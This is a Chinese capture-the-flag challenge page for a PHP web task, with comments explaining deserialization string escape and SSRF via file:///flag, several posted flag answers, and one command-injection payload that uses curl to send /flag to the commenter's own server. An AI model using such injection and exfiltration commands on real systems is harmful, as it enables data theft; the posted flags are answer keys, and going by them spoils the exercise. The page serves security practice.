newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一  血: lastsward
一血奖励: 3金币
解  决: 1212
提  示:
描  述:
flag{}
评论
网恋秀牛子被录屏导致自卑 10天前

你们是怎么想到file前面加空格能绕过的,这样怎么能绕

回复 0

对对对对对对对对 1月前

学到很多

回复 0

givemeflag 1年前

flag{78dc400b390a50ed0009062015da1c8f}

回复 0

LLTVLL 1年前

不会,借鉴了writeup

回复 0

loulegedadong 1年前

这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623

回复 1

老渡真的不懂 2年前

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?

回复 0
buggggg 2年前

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url

回复 0

XRain 2年前

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。

回复 1

mykali 2年前

flag{fb59b8a9a71cc0b34ca26905db6c520b}

回复 0

wxy1343 2年前

flag{0af3dab81edb60a93d4a173cf3070b25}

回复 0

jack12138 2年前

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢

回复 0
chaojiikun 10月前

你在自己写的文件里可以直接给username赋值evil的对象,但是对象无法打印,你没办法给username传evil对象,你传的只是字符串

回复 0

ch1n 2年前

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。

回复 2

ch1n 2年前

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。

回复 3

ch1n 2年前

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。

回复 2

WriteUp

image
M1kael

6 金币

评分(7)

解题动态

bhcxzhdsa 攻破了该题 1小时前
harry2025 攻破了该题 14小时前
pigpigG6768 攻破了该题 1天前
BLX123 攻破了该题 3天前
xieling. 攻破了该题 4天前
海浪geigei 攻破了该题 5天前
韦慧 攻破了该题 5天前
张越钦 攻破了该题 5天前
zzd 攻破了该题 5天前
陈亮 攻破了该题 5天前
余家颖 攻破了该题 5天前
黄超群 攻破了该题 5天前
黎静怡 攻破了该题 5天前
awesome 攻破了该题 5天前
何菊 攻破了该题 6天前
小帅谢杭锋 攻破了该题 6天前
罗满佳 攻破了该题 6天前
小小大怪 攻破了该题 6天前
蓝艳春 攻破了该题 6天前
郭某 攻破了该题 6天前
问题反馈